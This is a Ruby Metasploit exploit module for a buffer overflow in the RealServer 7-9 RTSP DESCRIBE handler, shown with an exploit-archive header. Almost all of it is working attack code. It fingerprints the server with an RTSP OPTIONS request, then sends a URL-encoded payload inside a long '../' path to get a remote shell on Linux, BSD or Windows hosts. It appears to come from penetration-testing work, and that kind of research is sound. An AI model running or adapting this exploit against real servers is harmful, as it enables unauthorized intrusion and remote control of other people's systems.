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# Title : RealServer 7-9 Describe Buffer Overflow
# Published : 2002-12-20
# Author : H D Moore
# Previous Title : Solaris 2.6/7/8 (TTYPROMPT in.telnet) Remote Authentication Bypass
# Next Title : HP-UX LPD 10.20, 11.00, 11.11 Command Execution
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'msf/core/exploit/http'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'RealServer Describe Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in RealServer 7/8/9
and was based on Johnny Cyberpunk's THCrealbad exploit. This
code should reliably exploit Linux, BSD, and Windows-based
servers.
},
'Author' => 'hdm',
'Version' => '$Revision$',
'References' =>
[
[ 'OSVDB', '4468'],
[ 'URL', 'http://lists.immunitysec.com/pipermail/dailydave/2003-August/000030.html'],
],
'Privileged' => true,
'Payload' =>
{
'Space' => 2000,
'BadChars' => "x00x0ax0dx25x2ex2fx5cxffx20x3ax26x3fx2ex3d",
},
'Targets' =>
[
[
'Universal',
{
'Platform' => [ 'linux', 'bsd', 'win' ]
},
],
],
'DisclosureDate' => 'Dec 20 2002',
'DefaultTarget' => 0))
end
def check
res = send_request_raw({
'method' => 'OPTIONS',
'proto' => 'RTSP',
'version' => '1.0',
'uri' => '/'
}, 5)
if response and response['Server']
print_status("Found RTSP: #{response['Server']}")
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
def exploit
print_status("RealServer universal exploit launched against #{rhost}")
print_status("Kill the master rmserver pid to prevent shell disconnect")
encoded = payload.encoded.gsub(/./) { |char| "%%%.2x" % char[0] }
res = send_request_raw({
'method' => 'DESCRIBE',
'proto' => 'RTSP',
'version' => '1.0',
'uri' => "/" + ("../" * 560) + "xccxccx90x90" + encoded + ".smi"
}, 5)
handler
end
end